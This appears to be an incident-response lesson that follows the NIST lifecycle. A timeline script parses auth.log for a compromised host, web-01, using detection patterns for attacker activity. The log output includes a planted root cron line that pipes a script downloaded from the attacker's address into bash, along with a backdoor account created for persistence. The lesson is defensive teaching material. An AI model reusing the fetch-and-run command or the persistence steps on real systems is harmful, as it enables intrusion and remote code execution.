Y

Incident response · Intermediate

From alert to timeline to containment

4 min read

Why it matters

Incident response appeared in 60% of the Cybersecurity Engineer job descriptions we read. Under pressure, the natural reaction is to delete the bad account and move on, which often destroys evidence and leaves the attacker's other footholds in place. A standard lifecycle and a timeline prevent that.

The concept

The NIST incident handling lifecycle (SP 800-61):

  1. Preparation: logging, playbooks, contacts, access and tools, before anything happens.

  2. Detection and analysis: confirm the incident, build a timeline, scope it (which hosts, accounts, data).

  3. Containment, eradication and recovery: stop the spread first, then remove every foothold, then restore service and watch closely.

  4. Post-incident activity: a blameless review and fixes, so it does not happen again.

Principles: preserve evidence before changing things (copy logs, snapshot disks and memory where possible); scope before you eradicate, or you remove one foothold and miss another; communicate on a schedule with a named incident lead.

Worked example: web-01

Continuing from the SIEM lesson's log, collect everything related to the attacker's address and the compromised account in the two hours after the first guess:

timeline.py
"""Build an incident timeline from auth.log around a suspicious login."""
import re
from datetime import datetime, timedelta

ATTACKER_IP = "198.51.100.23"
ACCOUNT = "deploy"
FIRST_SEEN = datetime(2026, 9, 29, 2, 40)
WINDOW_END = FIRST_SEEN + timedelta(hours=2)

INTERESTING = [
    (re.compile(re.escape(ATTACKER_IP)), "attacker address"),
    (re.compile(r"sudo: +" + ACCOUNT + r" "), "privilege use"),
    (re.compile(r"useradd\[\d+\]: new user"), "account created"),
    (re.compile(r"CRON\[\d+\]: .*(curl|wget)"), "persistence (cron download)"),
]

events = []
for line in open("auth.log"):
    ts = datetime.strptime("2026 " + line[:15], "%Y %b %d %H:%M:%S")
    if not FIRST_SEEN <= ts <= WINDOW_END:
        continue
    for pattern, label in INTERESTING:
        if pattern.search(line):
            events.append((ts, label, line[16:].strip()))
            break

failed = [e for e in events if "Failed password" in e[2]]
print(f"{failed[0][0]:%H:%M:%S}  attacker address   {len(failed)} failed passwords for {ACCOUNT} (first shown)")
for ts, label, text in events:
    if "Failed password" in text:
        continue
    print(f"{ts:%H:%M:%S}  {label:18} {text[:95]}")
shellsession
$ python3 timeline.py
02:40:00  attacker address   35 failed passwords for deploy (first shown)
02:47:02  attacker address   web-01 sshd[4100]: Accepted password for deploy from 198.51.100.23 port 51999 ssh2
02:47:40  privilege use      web-01 sudo:   deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/sbin/useradd -m
02:47:41  account created    web-01 useradd[4121]: new user: name=backup2, UID=1005, GID=1005, home=/home/backup2, shell=/bi
02:48:35  privilege use      web-01 sudo:   deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/crontab -e
02:52:00  attacker address   web-01 CRON[4190]: (root) CMD (curl -s http://198.51.100.23/u.sh | bash)

What the timeline tells us. Password guessing for seven minutes, a successful password login as deploy, root access through sudo within 40 seconds (so deploy could run commands as root), a new account backup2 created as a second way in, and a root cron job that downloads and runs a script from the attacker every time it fires. The attacker has persistence, and the payload of u.sh is unknown.

Response in order:

  1. Preserve: copy /var/log, the crontabs, /etc/passwd and /etc/shadow, and take a disk snapshot (and memory if you have the tooling) before changing anything.

  2. Contain: block 198.51.100.23 at the network edge, isolate web-01 from other systems, and disable deploy and backup2. If web-01 is behind a load balancer, remove it from rotation.

  3. Scope: search other hosts for the same address, the same accounts and the same cron line. Check whether deploy's password or keys are used elsewhere, and what u.sh did if it can be retrieved safely.

  4. Eradicate and recover: because root was compromised, rebuild web-01 from a known-good image rather than cleaning it. Rotate every secret that was on the host. Restore data from a backup taken before 02:40.

  5. Improve: disable SSH password authentication, restrict SSH to the VPN, remove deploy's unrestricted sudo, alert on new accounts and on cron changes.

Common mistakes

  • Deleting first, investigating later. Evidence is lost and footholds are missed.

  • Cleaning a root-compromised host instead of rebuilding it. You can never be sure you found everything.

  • Forgetting credentials. Anything on the host (keys, tokens, database passwords) must be treated as stolen.

  • Silence. Stakeholders need regular updates, even when there is little new to say.

Interview angle

"You find an unknown process making outbound connections from a production server. What do you do?" Walk through preserve, contain, scope, eradicate, recover and review, and say who you would inform. Interviewers listen for order and judgement, such as isolating rather than powering off, which destroys memory evidence.

Practice task

  1. Write the incident report: summary, impact, timeline, root causes, and actions with owners.

  2. Write detections for the three persistence steps (new user, sudo by a non-admin account, cron downloading a script) and test them against the log.

Further reading